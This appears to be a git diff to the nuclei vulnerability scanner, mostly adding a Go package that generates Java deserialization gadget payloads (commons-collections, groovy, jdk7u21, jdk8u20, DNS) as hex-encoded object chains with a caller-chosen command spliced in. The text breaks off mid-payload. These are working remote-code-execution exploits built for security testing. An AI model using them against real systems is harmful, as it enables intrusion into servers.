b/v2/pkg/operators/extractors/extractors.go index f593a174..2542bb0d 100644 --- a/v2/pkg/operators/extractors/extractors.go +++ b/v2/pkg/operators/extractors/extractors.go @@ -1,6 +1,10 @@ package extractors -import "regexp" +import ( + "regexp" + + "github.com/itchyny/gojq" +) // Extractor is used to extract part of response using a regex. type Extractor struct { @@ -21,6 +25,11 @@ type Extractor struct { // KVal are the kval to be present in the response headers/cookies KVal []string `yaml:"kval,omitempty"` + // JSON are the json pattern required to be present in the response + JSON []string `yaml:"json"` + // jsonCompiled is the compiled variant + jsonCompiled []*gojq.Code + // Part is the part of the request to match // // By default, matching is performed in request body. @@ -37,12 +46,15 @@ const ( RegexExtractor ExtractorType = iota + 1 // KValExtractor extracts responses with key:value KValExtractor + // JSONExtractor extracts responses with json + JSONExtractor ) // ExtractorTypes is an table for conversion of extractor type from string. var ExtractorTypes = map[string]ExtractorType{ "regex": RegexExtractor, "kval": KValExtractor, + "json": JSONExtractor, } // GetType returns the type of the matcher diff --git a/v2/pkg/progress/progress.go b/v2/pkg/progress/progress.go index 7785c4c2..220ff49a 100644 --- a/v2/pkg/progress/progress.go +++ b/v2/pkg/progress/progress.go @@ -6,6 +6,7 @@ import ( "fmt" "net" "net/http" + "os" "strconv" "strings" "time" @@ -175,13 +176,13 @@ func printCallback(stats clistats.StatisticsClient) { builder.WriteRune(')') builder.WriteRune('\n') - fmt.Printf("%s", builder.String()) + fmt.Fprintf(os.Stderr, "%s", builder.String()) } func printCallbackJSON(stats clistats.StatisticsClient) { builder := &strings.Builder{} _ = json.NewEncoder(builder).Encode(metricsMap(stats)) - fmt.Printf("%s", builder.String()) + fmt.Fprintf(os.Stderr, "%s", builder.String()) } func metricsMap(stats clistats.StatisticsClient) map[string]interface{} { diff --git a/v2/pkg/protocols/common/helpers/deserialization/deserialization.go b/v2/pkg/protocols/common/helpers/deserialization/deserialization.go new file mode 100644 index 00000000..fc27f5f6 --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/deserialization.go @@ -0,0 +1,2 @@ +// Package deserialization implements helpers for deserialization issues in nuclei. +package deserialization diff --git a/v2/pkg/protocols/common/helpers/deserialization/helpers.go b/v2/pkg/protocols/common/helpers/deserialization/helpers.go new file mode 100644 index 00000000..84923c17 --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/helpers.go @@ -0,0 +1,17 @@ +package deserialization + +import "bytes" + +func InsertInto(s string, interval int, sep rune) string { + var buffer bytes.Buffer + before := interval - 1 + last := len(s) - 1 + for i, char := range s { + buffer.WriteRune(char) + if i%interval == before && i != last { + buffer.WriteRune(sep) + } + } + buffer.WriteRune(sep) + return buffer.String() +} diff --git a/v2/pkg/protocols/common/helpers/deserialization/java.go b/v2/pkg/protocols/common/helpers/deserialization/java.go new file mode 100644 index 00000000..8aee3e27 --- /dev/null +++ b/v2/pkg/protocols/common/helpers/deserialization/java.go @@ -0,0 +1,162 @@ +package deserialization + +import ( + "bytes" + "compress/gzip" + "encoding/base64" + "encoding/hex" + "strings" +) + +// Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py +// All credits goes to original authors of the Jexboss Project. + +// GenerateJavaGadget generates a gadget with a command and encoding. +// If blank, by default gadgets are returned base64 encoded. +func GenerateJavaGadget(gadget, cmd, encoding string) string { + var returnData []byte + + switch gadget { + case "dns": + returnData = generateDNSPayload(cmd) + case "jdk7u21": + returnData = generatejdk7u21Payload(cmd) + case "jdk8u20": + returnData = generatejdk8u20Payload(cmd) + case "commons-collections3.1": + returnData = generateCommonsCollections31Payload(cmd) + case "commons-collections4.0": + returnData = generateCommonsCollections40Payload(cmd) + case "groovy1": + returnData = generateGroovy1Payload(cmd) + default: + return "" + } + if returnData == nil { + return "" + } + return gadgetEncodingHelper(returnData, encoding) +} + +// gadgetEncodingHelper performs encoding of the generated gadget based on provided +// options. +func gadgetEncodingHelper(returnData []byte, encoding string) string { + switch encoding { + case "raw": + return string(returnData) + case "hex": + return hex.EncodeToString(returnData) + case "gzip": + buffer := &bytes.Buffer{} + if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil { + return "" + } + return buffer.String() + case "gzip-base64": + buffer := &bytes.Buffer{} + if _, err := gzip.NewWriter(buffer).Write(returnData); err != nil { + return "" + } + return urlsafeBase64Encode(buffer.Bytes()) + default: + return urlsafeBase64Encode(returnData) + } +} + +func urlsafeBase64Encode(data []byte) string { + return strings.ReplaceAll(base64.StdEncoding.EncodeToString(data), "+", "%2B") +} + +// generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0 +// deserialization paylaod for a command. +func generateCommonsCollections40Payload(cmd string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(cmd)))) + buffer.WriteString(cmd) + suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401001E79736F73657269616C2F50776E65723131353636353933373838363330390100204C79736F73657269616C2F50776E65723131353636353933373838363330393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E001F000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000171007E002978") + buffer.Write(suffix) + + return buffer.Bytes() +} + +// generateCommonsCollections440PPayload generates commons-collections 3.1 +// deserialization paylaod for a command. +func generateCommonsCollections31Payload(cmd string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(cmd)))) + buffer.WriteString(cmd) + suffix, _ := hex.DecodeString("740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878") + buffer.Write(suffix) + + return buffer.Bytes() +} + +// generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9 +// deserialization paylaod for a command. +func generateGroovy1Payload(cmd string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(cmd)))) + buffer.WriteString(cmd) + suffix, _ := hex.DecodeString("71007E0013757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707672000C6A6176612E696F2E46696C65042DA4450E0DE4FF0300014C00047061746871007E000978707074000765786563757465737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D03000349000B7365676D656E744D61736B49000C7365676D656E7453686966745B00087365676D656E74737400315B4C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D6170245365676D656E743B78700000000F0000001C757200315B4C6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E743B52773F41329B39740200007870000000107372002E6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E741F364C905893293D02000146000A6C6F6164466163746F72787200286A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B6655A82C2CC86AEB0200014C000473796E6374002F4C6A6176612F7574696C2F636F6E63757272656E742F6C6F636B732F5265656E7472616E744C6F636B2453796E633B7870737200346A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B244E6F6E6661697253796E63658832E7537BBF0B0200007872002D6A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B2453796E63B81EA294AA445A7C020000787200356A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E416273747261637451756575656453796E6368726F6E697A65726655A843753F52E30200014900057374617465787200366A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E41627374726163744F776E61626C6553796E6368726F6E697A657233DFAFB9AD6D6FA90200007870000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F400000707078740008656E747279536574767200126A6176612E6C616E672E4F7665727269646500000000000000000000007870") + buffer.Write(suffix) + + return buffer.Bytes() +} + +// generateDNSPayload generates DNS interaction deserialization paylaod for a DNS Name. +// Based on Gabriel Lawrence gadget +func generateDNSPayload(url string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(url)))) + buffer.WriteString(url) + suffix, _ := hex.DecodeString("74000071007E00057400056874747073707874001968747470733A2F2F746573742E6A6578626F73732E696E666F78") + buffer.Write(suffix) + + return buffer.Bytes() +} + +// generatejdk7u21Payload generates deserialization payload for jdk7. +// improved from frohoff version +func generatejdk7u21Payload(url string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(url) + 131))) + middle, _ := hex.DecodeString("CAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100") + buffer.Write(middle) + buffer.WriteString(url) + suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401002179736F73657269616C2F4A6578426F7373323631343139333134303837383735390100234C79736F73657269616C2F4A6578426F7373323631343139333134303837383735393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E000C000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C617465730000000000000000000000787078") + buffer.Write(suffix) + + return buffer.Bytes() +} + +// generatejdk8u20Payload generates deserialization payload for jdk8. +// improved from Alvaro (pwntester) version +func generatejdk8u20Payload(url string) []byte { + buffer := &bytes.Buffer{} + + prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006") + buffer.Write(prefix) + buffer.WriteString(string(rune(len(url) + 147))) + middle, _ := hex.DecodeString("CAFEBABE00000031003A0A0003002407003807002707002801001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100224C7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700290100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B0100236F72672E6E65746265616E732E536F757263654C6576656C416E6E6F746174696F6E730100144C6A6176612F6C616E672F4F766572726964653B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002A0100207574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01000C7574696C2F476164676574730100083C636C696E69743E0100116A61